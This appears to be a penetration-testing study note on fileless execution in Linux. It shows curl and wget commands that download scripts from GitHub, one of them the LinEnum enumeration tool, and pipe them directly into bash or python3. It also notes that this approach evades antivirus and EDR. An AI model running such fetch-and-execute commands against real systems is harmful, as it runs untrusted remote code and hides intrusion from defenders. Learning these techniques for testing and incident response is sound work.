# 💣 Fileless Attacks in Linux – Execute Directly

In Linux, because of the magic of **pipes (`|`)**, you can execute scripts **without saving them to disk first**! 😱 This is called a **fileless attack** – and it's **super sneaky**. 👀

> 🔐 **Note:** Some techniques (like using `mkfifo`) might still touch the disk temporarily. But piping directly into an interpreter (like `bash` or `python3`) is often *fileless* in practice.

***

## 🌀 **Fileless Execution with `curl`**

Let’s take our old friend `curl` and run a script straight from the web 👇

{% code overflow="wrap" %}

```bash
z3tssu@htb[/htb]$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
```

{% endcode %}

### What this does:

* Downloads the **LinEnum.sh** script from GitHub
* Instead of saving it, it **pipes** it directly into `bash` for execution

🕵️‍♂️ No file written. No trace left (unless someone’s logging stdout)!

***

## 🧲 **Fileless Execution with `wget`**

Here’s the same idea, but using `wget` with a little trick using `-qO-`:

{% code overflow="wrap" %}

```bash
z3tssu@htb[/htb]$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
```

{% endcode %}

### 🎉 Output:

```
Hello World!
```

📌 What’s happening here:

* `-q` = quiet mode (no download info clutter)
* `-O-` = send output to **stdout** instead of saving to a file
* `| python3` = pipe that script straight into the Python interpreter 🐍

***

## ⚠️ Why This Matters (and Why It's Dangerous)

Fileless attacks are a **red flag for incident responders** 🚨 because:

* No files = harder to detect
* No disk artifacts = bypass some traditional AV/EDR solutions
* Great for **in-memory execution** or **living-off-the-land (LOLBin)** tactics

***
